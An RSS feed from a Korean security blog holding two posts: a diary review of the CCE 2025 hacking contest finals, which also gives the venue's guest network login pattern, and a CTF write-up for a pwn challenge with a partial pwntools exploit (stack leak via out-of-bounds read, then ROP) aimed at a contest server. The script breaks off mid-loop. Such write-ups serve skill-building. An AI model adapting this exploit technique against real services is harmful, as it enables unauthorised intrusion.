<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0">
  <channel>
    <title>think storage</title>
    <link>https://wyv3rn.tistory.com/</link>
    <description>아저씨의 흔한 취미. wyv3rn#1249</description>
    <language>ko</language>
    <pubDate>Thu, 7 May 2026 02:27:58 +0900</pubDate>
    <generator>TISTORY</generator>
    <ttl>100</ttl>
    <managingEditor>wyv3rn</managingEditor>
    <image>
      <title>think storage</title>
      <url>https://tistory1.daumcdn.net/tistory/5442382/attach/6490d37c87554b699542e2c11244b38f</url>
      <link>https://wyv3rn.tistory.com</link>
    </image>
    <item>
      <title>CCE 2025 final 후기</title>
      <link>https://wyv3rn.tistory.com/617</link>
      <description>&lt;h2 style=&quot;text-align: left;&quot; data-ke-size=&quot;size26&quot;&gt;요약하자면,&lt;/h2&gt;
&lt;p style=&quot;text-align: left;&quot; data-ke-size=&quot;size16&quot;&gt;팀을 잘 만나 기사분들의 화려한 드리프트 실력으로 본선에 진출했고,&lt;br /&gt;솔직히 나는 실력이 부족하여 한 것 없이 밥만 먹고 왔다.&lt;br /&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;text-align: left;&quot; data-ke-size=&quot;size26&quot;&gt;해킹 대회 본선을 위해 서울에 올 줄이야.&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;지난주 꿈에도(?) 그리던 해킹 대회 본선에 참가했다.&lt;br /&gt;새벽 기차를 타면 8시에 서울에 도착하게되고, 이동 시간을 고려하면 시간이 매우 부족할 것으로 생각되어 전날에 미리 서울로 올라갔다.&lt;br /&gt;저녁 11시 경 도착한 서울역엔 왜 그리도 외국인들이 많은가.&lt;br /&gt;미스테리다.&lt;br /&gt;대충 햄벅 하나 사서 들어가서 바로 잤다.&lt;br /&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;대회장 도착.&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;다음날, 일찍 일어나 회장으로 향했다. 도착 시간은 8시.&lt;br /&gt;E room이라고 안내서에 나와있는데, 도대체 어디있는지 한참 찾았다.&lt;br /&gt;알고보니 북문에 가까운 3층이었다.&lt;br /&gt;나는 남문으로 들어갔는데...&lt;br /&gt;&amp;nbsp;&lt;br /&gt;그리고 분명 8시부터 뭐 준비하고 테스트하고 하라는 안내가 있었는데, 실제로 안내도 없고 회장은 텅텅이었다.&lt;br /&gt;일반부에서는 아마 내가 2등으로 도착했나 그랬던 것 같다. (1등도 우리팀이었음... ㅋ)&lt;br /&gt;쓸데없이 부지런...&lt;br /&gt;&amp;nbsp;&lt;br /&gt;당연히 안내 따위는 없었다.&lt;br /&gt;알아서 준비해야했다.&lt;br /&gt;등록 데스크는 내가 도착했을 당시에는 열지도 않았고, 한 10분? 20분? 지나니까 열더라.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;blob&quot; data-origin-width=&quot;600&quot; data-origin-height=&quot;450&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cSno04/btsQzbv98SJ/rU6uO6GI8UurXohZPHruok/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cSno04/btsQzbv98SJ/rU6uO6GI8UurXohZPHruok/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cSno04/btsQzbv98SJ/rU6uO6GI8UurXohZPHruok/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcSno04%2FbtsQzbv98SJ%2FrU6uO6GI8UurXohZPHruok%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;600&quot; height=&quot;450&quot; data-filename=&quot;blob&quot; data-origin-width=&quot;600&quot; data-origin-height=&quot;450&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;본인 확인과 함께 대포같은 텀블러를 하나 받았다.&lt;br /&gt;다음에 CTF하면 커피 가득 담아 하루죙일 마셔야지.&lt;br /&gt;&amp;nbsp;&lt;br /&gt;시간도 많이 남았겠다 조금 둘러보았다.&lt;br /&gt;마지막 날이라 그런지, 홍보부스도 그렇고, 해킹 체험존도 그렇고 죄다 텅텅이다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;blob&quot; data-origin-width=&quot;600&quot; data-origin-height=&quot;450&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/3hZSi/btsQzihJ0ru/ZPvhMtkeJMJuw8stf5t1K0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/3hZSi/btsQzihJ0ru/ZPvhMtkeJMJuw8stf5t1K0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/3hZSi/btsQzihJ0ru/ZPvhMtkeJMJuw8stf5t1K0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F3hZSi%2FbtsQzihJ0ru%2FZPvhMtkeJMJuw8stf5t1K0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;600&quot; height=&quot;450&quot; data-filename=&quot;blob&quot; data-origin-width=&quot;600&quot; data-origin-height=&quot;450&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;아마 월~수에는 사람이 많았지 않았을까?&lt;br /&gt;아니면 너무 매니악한 분야라 없었으려나...&lt;br /&gt;&amp;nbsp;&lt;br /&gt;회장 입구에 들어서면,&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;blob&quot; data-origin-width=&quot;600&quot; data-origin-height=&quot;450&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/FXT11/btsQxcv4MbV/xJLDRnyY35KHpCIiNllvN1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/FXT11/btsQxcv4MbV/xJLDRnyY35KHpCIiNllvN1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/FXT11/btsQxcv4MbV/xJLDRnyY35KHpCIiNllvN1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FFXT11%2FbtsQxcv4MbV%2FxJLDRnyY35KHpCIiNllvN1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;600&quot; height=&quot;450&quot; data-filename=&quot;blob&quot; data-origin-width=&quot;600&quot; data-origin-height=&quot;450&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;입구에 들어와 좌측으로는 청소년 / 일반부문&lt;br /&gt;우측으로는 공공부문 및 휴게존&lt;br /&gt;가운데는 관람을 위한 공간으로 마련되어있었다.&lt;br /&gt;&amp;nbsp;&lt;br /&gt;뭐... 각각 자리야 그렇다 치고, 관람 공간은 제일 안쪽에 모니터가 3개가 있고, 실시간으로 대회 현황을 볼 수 있게 되어있었다.&lt;br /&gt;들어가는 길에는 모두 투명 창으로 대회 진행 중인 사람들을 볼 수 있었다.&lt;br /&gt;&amp;nbsp;&lt;br /&gt;모니터 중 하나. 요건 live fire 현황이다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;blob&quot; data-origin-width=&quot;596&quot; data-origin-height=&quot;373&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/k0l9y/btsQx9TyEre/4M5NBc1gZKNShjKwL9LkK0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/k0l9y/btsQx9TyEre/4M5NBc1gZKNShjKwL9LkK0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/k0l9y/btsQx9TyEre/4M5NBc1gZKNShjKwL9LkK0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fk0l9y%2FbtsQx9TyEre%2F4M5NBc1gZKNShjKwL9LkK0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;596&quot; height=&quot;373&quot; data-filename=&quot;blob&quot; data-origin-width=&quot;596&quot; data-origin-height=&quot;373&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;3개의 취약점을 가진 서버가 돌아가고, 특정 시간마다 정해진 공격을 수행하는데, 공격이 성공하면 점수가 깍이게된다.&lt;br /&gt;취약점을 패치하게 되면 점수가 깍이지 않으며, 이런 방식으로 최종 점수가 결정된다.&lt;br /&gt;&amp;nbsp;&lt;br /&gt;요건 전체 점수. (아마 부문 별로 돌아가면서 화면에 나오지 않았을까?)&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;blob&quot; data-origin-width=&quot;591&quot; data-origin-height=&quot;411&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dhPuNd/btsQx962WOx/vJuZYhGF3RSR8BN6bz4nrk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dhPuNd/btsQx962WOx/vJuZYhGF3RSR8BN6bz4nrk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dhPuNd/btsQx962WOx/vJuZYhGF3RSR8BN6bz4nrk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdhPuNd%2FbtsQx962WOx%2FvJuZYhGF3RSR8BN6bz4nrk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;591&quot; height=&quot;411&quot; data-filename=&quot;blob&quot; data-origin-width=&quot;591&quot; data-origin-height=&quot;411&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;총 문제는 17개, jeopardy 14개, live fire 3개로 구성되어있었다.&lt;br /&gt;&amp;nbsp;&lt;br /&gt;요건 전체 현황이다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;blob&quot; data-origin-width=&quot;600&quot; data-origin-height=&quot;395&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/GN7tB/btsQwQN0cHN/OehSIHY1JoKJuHgRznnnGk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/GN7tB/btsQwQN0cHN/OehSIHY1JoKJuHgRznnnGk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/GN7tB/btsQwQN0cHN/OehSIHY1JoKJuHgRznnnGk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FGN7tB%2FbtsQwQN0cHN%2FOehSIHY1JoKJuHgRznnnGk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;600&quot; height=&quot;800&quot; data-filename=&quot;blob&quot; data-origin-width=&quot;600&quot; data-origin-height=&quot;395&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;여기선 모두 나오지만, 문제가 출제된 사이트에서는 본인이 참여한 부문의 스코어보드만 보이기 때문에 다른 부문 진행 현황은 알 수 없었다.&lt;br /&gt;&amp;nbsp;&lt;br /&gt;요건 우리 자리 ㅋ&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;4032&quot; data-origin-height=&quot;3024&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/pklwB/dJMb9L4VmjY/QRGnA4ykS9v11fBEm4eqO1/tfile.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/pklwB/dJMb9L4VmjY/QRGnA4ykS9v11fBEm4eqO1/tfile.jpg&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/pklwB/dJMb9L4VmjY/QRGnA4ykS9v11fBEm4eqO1/tfile.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FpklwB%2FdJMb9L4VmjY%2FQRGnA4ykS9v11fBEm4eqO1%2Ftfile.jpg&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;600&quot; height=&quot;450&quot; data-origin-width=&quot;4032&quot; data-origin-height=&quot;3024&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;팀끼리 따닥따닥 붙어있고, 더군다나 마주보고있어서 숨소리까지 들린다.&lt;br /&gt;대화하긴 좀 힘들거라 생각했고, 예상대로 다들 대화가 없더라 ㅋㅋㅋ&lt;br /&gt;간혹 아! 하는 탄식이나, 문제를 풀었는지 하이파이브를 하는 모습 정도는 보였다.&lt;br /&gt;우리도 디스코드로 대화하며 문제를 풀었음.&lt;br /&gt;&amp;nbsp;&lt;br /&gt;휴게존에는 간단히 먹을 수 있는 다과와 커피, 물 정도가 준비되어있었다.&lt;br /&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;대회 전.&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;인터넷 케이블이 제공되지만, 요새 노트북을 위한 젠더는 개인 준비이다.&lt;br /&gt;전날 구입하려 하였지만 판매하는 곳이 없어서 팀원에게 빌려서 썼는데, 케이블 연결하니까 로그인 하라더라.&lt;br /&gt;로그인 아이디 / 비번 안내도 없었다. (잠시 자리 비운 사이 안내했을지도 모르지만, 팀원에게 물어봐도 몰랐다)&lt;br /&gt;&amp;nbsp;&lt;br /&gt;근데 작년에 본선 참여한 팀원이 있어서 그걸 그대로 넣었더니 되더라.&lt;br /&gt;혹시나 누군가 본다면,&lt;br /&gt;아이디 / 비번 : COEX_E111&lt;br /&gt;과 같은 식이다.&lt;br /&gt;&amp;nbsp;&lt;br /&gt;COEX_룸 번호 + 숫자&lt;br /&gt;와 같이 구성되어있고, 숫자는 마음대로 써도 된다.&lt;br /&gt;&amp;nbsp;&lt;br /&gt;OSINT인줄.&lt;br /&gt;&amp;nbsp;&lt;br /&gt;사실상 실력이 부족해서 시간은 큰 상관이 없었지만... 이거 때문에 한 10분 까먹었다.&lt;br /&gt;그리고 계속 인터넷 접속이 끊겼다...&lt;br /&gt;이건 뭐 젠더 문제일 수도 있으니...&lt;br /&gt;문제 파일 다운받고, 로컬에서 풀고, 잽싸게 연결해서 페이로드 보내는 식으로 했다.&lt;br /&gt;&amp;nbsp;&lt;br /&gt;여러 인사들이 참여했기에 소개 및 개회식을 하고, 아묻따 대회를 시작했다.&lt;br /&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;대회 중&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;문제는 분야가 나뉘어져있지 않고, 이름으로도 추측하기 어렵기 때문에 문제를 보고 분류부터 했다.&lt;br /&gt;전체적으로 보면 pwn 3, web 5, rev 3, 기타 정도로 구성되어있었다.&lt;br /&gt;&amp;nbsp;&lt;br /&gt;나는 pwn 문제 중 제일 쉬워보이는 문제를 잡고 풀기 시작했고, 점심 전에 한문제를 푸는데 성공했다.&lt;br /&gt;확실히 초반이라 솔버가 그리 많지 않았고, 2등까지 올라가는 기염을 토했다.&lt;br /&gt;&amp;nbsp;&lt;br /&gt;금방 3시간이 지나서 점심때가 됐고, 도시락이 나왔다.&lt;br /&gt;작년, 제작년 점심은 화려하던데... ㅠㅠ&lt;br /&gt;그래도 맛은 있었다. 나름.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;blob&quot; data-origin-width=&quot;600&quot; data-origin-height=&quot;439&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/edsGFO/btsQzLRv8Td/Y3AlIu2iZRuYi18ssNOQ4k/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/edsGFO/btsQzLRv8Td/Y3AlIu2iZRuYi18ssNOQ4k/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/edsGFO/btsQzLRv8Td/Y3AlIu2iZRuYi18ssNOQ4k/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FedsGFO%2FbtsQzLRv8Td%2FY3AlIu2iZRuYi18ssNOQ4k%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;600&quot; height=&quot;439&quot; data-filename=&quot;blob&quot; data-origin-width=&quot;600&quot; data-origin-height=&quot;439&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p style=&quot;text-align: left;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;br /&gt;이후 다른 문제 하나를 잡고 계속 풀었는데, leak 이후에 죽어도 안풀리더라...&lt;br /&gt;이대로 끝까지 파다가 종료됨.&lt;br /&gt;&amp;nbsp;&lt;br /&gt;아 그리고 중간에 참가비로 상품권을 줬다.&lt;br /&gt;기차비 + 숙소비만 따지면... 손해보는 장사지만... ㅋㅋㅋ&lt;br /&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;text-align: left;&quot; data-ke-size=&quot;size26&quot;&gt;대회 후.&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;시간이 모두 지나가고 후루룩 마무리 됐다.&lt;br /&gt;초반에 2등까지 치고 올라갔으나, 내가 한문제만 더 풀었더라면 (풀었어도 순위권은 아니지만) 이라는 생각과 함께 결국 7위로 마무리됐다.&lt;br /&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;blob&quot; data-origin-width=&quot;600&quot; data-origin-height=&quot;337&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/c6hDwy/btsQAg4WG3M/vED00g1bBW3kRkDs7d58NK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/c6hDwy/btsQAg4WG3M/vED00g1bBW3kRkDs7d58NK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/c6hDwy/btsQAg4WG3M/vED00g1bBW3kRkDs7d58NK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fc6hDwy%2FbtsQAg4WG3M%2FvED00g1bBW3kRkDs7d58NK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;600&quot; height=&quot;337&quot; data-filename=&quot;blob&quot; data-origin-width=&quot;600&quot; data-origin-height=&quot;337&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p style=&quot;text-align: left;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;br /&gt;대회가 종료되면 대충 종료 안내만 나왔고, 대회가 끝나 어수선한 분위기에서 알아서 집에가는 방식.&lt;br /&gt;집에가도 되나? 싶은 느낌인데, 가면 된다. ㅋ&lt;br /&gt;뭐야 이게.&lt;br /&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;찐 후기.&lt;/h2&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;개인적으로...&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;처음 참여해본 본선이라 다소 긴장도 했고, 내가 잘 할 수 있을까 하는 걱정을 많이 했었다.&lt;br /&gt;예선 2문제, 본선 1문제를 풀었으니... 1인분은 못했지만 0.5인분 정도는 하지 않았을까 싶다.&lt;br /&gt;&amp;nbsp;&lt;br /&gt;또한 각 대회의 문제 출제 경향마다 다르겠지만 실력이 부족하다는 것을 더 뼈져리게 느꼈고, 아직 나는 초-중급에 머물러 있다는 생각이 많이 들었다.&lt;br /&gt;팀빨로 본선에 온 내가... 또 다른 대회의 본선에 참여할 수 있을까?&lt;br /&gt;무엇보다 여기서 내가 뭘 해야 더 실력을 키울 수 있을까. 현실적으로 가능은 한가?&lt;br /&gt;그런 생각이 많이 들었다.&lt;br /&gt;문제 출제수를 보면 인당 풀어야하는 문제는 3개 수준인데... 절반도 못풀었으니... ㅋ&lt;br /&gt;그래도 기회가 된다면 꼭 다시 한번 본선 진출을 하고 싶다는 마음이 들었다.&lt;br /&gt;CCE든 뭐든.&lt;br /&gt;&amp;nbsp;&lt;br /&gt;그리고 지금은 조용하지만, T4B 동생들도 오랜만에 만나 너무 반가웠다.&lt;br /&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;본선 대회는&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;좀 체계적이고, 정식적인 느낌일줄 알았는데, 뭔가 어수룩하고 부족한 느낌이 많이 들었다.&lt;br /&gt;1. 회장 위치에 대한 정확한 안내가 안내서에 누락되었고,&lt;br /&gt;2. 8시부터 입장 및 준비가 가능했지만, 그 누구도 안내가 없었고,&lt;br /&gt;3. 등록 부스도 조금 늦게 열렸으며,&lt;br /&gt;4. 대회를 위한 인터넷 접속에 대한 별도 안내가 없었고,&lt;br /&gt;5. 각 팀이 너무 가까이 붙어있었으며,&lt;br /&gt;6. 대회가 시작될 때, 그리고 끝난 뒤에도 어수선한 분위기를 컨트롤하지 못했고,&lt;br /&gt;7. 대회 종료 이후에 적절한 안내가 없었다.&lt;br /&gt;&amp;nbsp;&lt;br /&gt;그리고 현업에 종사하는 사람들은 별도로 부문을 만들었어야하는 것 아닐까 하는 생각이 좀 많이 들었다.&lt;br /&gt;1등은 그냥 지정해놓고 진행하는 대회같은 느낌이...&lt;br /&gt;아마 올해도 기사가 뜨겠지. 몇년 연속 우승이라고...&lt;br /&gt;&amp;nbsp;&lt;br /&gt;근데... 그럼 나 같은 일반인은 어느 부문으로 참여할 수 있지...? ㅋㅋㅋ&amp;nbsp;&lt;br /&gt;나 같은 일반인이 있긴한가...&lt;/p&gt;</description>
      <category>Diary</category>
      <author>wyv3rn</author>
      <guid isPermaLink="true">https://wyv3rn.tistory.com/617</guid>
      <comments>https://wyv3rn.tistory.com/617#entry617comment</comments>
      <pubDate>Mon, 15 Sep 2025 07:14:22 +0900</pubDate>
    </item>
    <item>
      <title>CCE 2025 - LNG 경보센터</title>
      <link>https://wyv3rn.tistory.com/616</link>
      <description>&lt;h2 data-ke-size=&quot;size26&quot;&gt;1. intro&lt;/h2&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;413&quot; data-origin-height=&quot;77&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/d8LNQg/btsQyDGvtQg/ppviyKnbzIAbbt7AjxouVK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/d8LNQg/btsQyDGvtQg/ppviyKnbzIAbbt7AjxouVK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/d8LNQg/btsQyDGvtQg/ppviyKnbzIAbbt7AjxouVK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fd8LNQg%2FbtsQyDGvtQg%2FppviyKnbzIAbbt7AjxouVK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;413&quot; height=&quot;77&quot; data-origin-width=&quot;413&quot; data-origin-height=&quot;77&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;2. code 및 분석&lt;/h2&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;2.1.&amp;nbsp; code&lt;/h3&gt;
&lt;pre id=&quot;code_1660109598930&quot; class=&quot;python&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;생략&lt;/code&gt;&lt;/pre&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;2.2. 분석&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;생략&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;3. 취약점 확인 및 공격 준비&lt;/h2&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;3.1. 취약점&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;oob를 통한 leak 및 exit 실행 시 comment를 통한 bof, rop&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;3.2. 공격 준비&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;취약점을 찾는데 1시간 반을 소비하고, 익스하는데 10분 걸렸다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;아무리봐도 취약점을 찾지 못해 헤메다 gas center structure에 존재하는 값을 수정할 수 있는데, 수정을 위해 입력한 값들의 size가 변수 크기보다 커서 의도치 않은 값을 출력하게된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;즉, 각 변수는 1바이트 크기였는데, 실제로 입력 가능한 값은 4바이트였다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 중 night shift 변수 값이 매우 크면 region 변수 영역까지 침범하게 되고, region 변수의 값을 offset으로 토대로 stack에 있는 storage level을 출력하게되는데 이를 통해 stack leak이 가능하다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;또한 emergency 메뉴에서 shutdown with message 메뉴가 있었는데, 누가봐도 bof가 일어날 것 같아 넣어보았더니 역시나.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그래서 leak -&amp;gt; rop 했다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;4. exploit&lt;/h2&gt;
&lt;pre id=&quot;code_1757888169379&quot; class=&quot;python&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt; from pwn import *
 
 #p = remote('localhost',54321)
 p = remote('3.38.199.229', 54321)
 
 #context.log_level='debug'
 leak = b''
 for i in range(8):
 	p.sendlineafter(b'Select: ',b'12')
    p.sendlineafter(b'Number: ',str(0x100 * 8 * 4 + 0x100 * i).encode())
    p.sendlineafter(b'Select: ',b'5')
    p.recvuntil(b'Level: ')
    leak = str(hex(int(p.recvline()[:-1])))[2:].encode() + leak
 
 stack = int(b'0x' +leak,16)
 print(hex(stack))
 
 leak = b''
 for i in range(8):
    p.sendlineafter(b'Select: ',b'12')
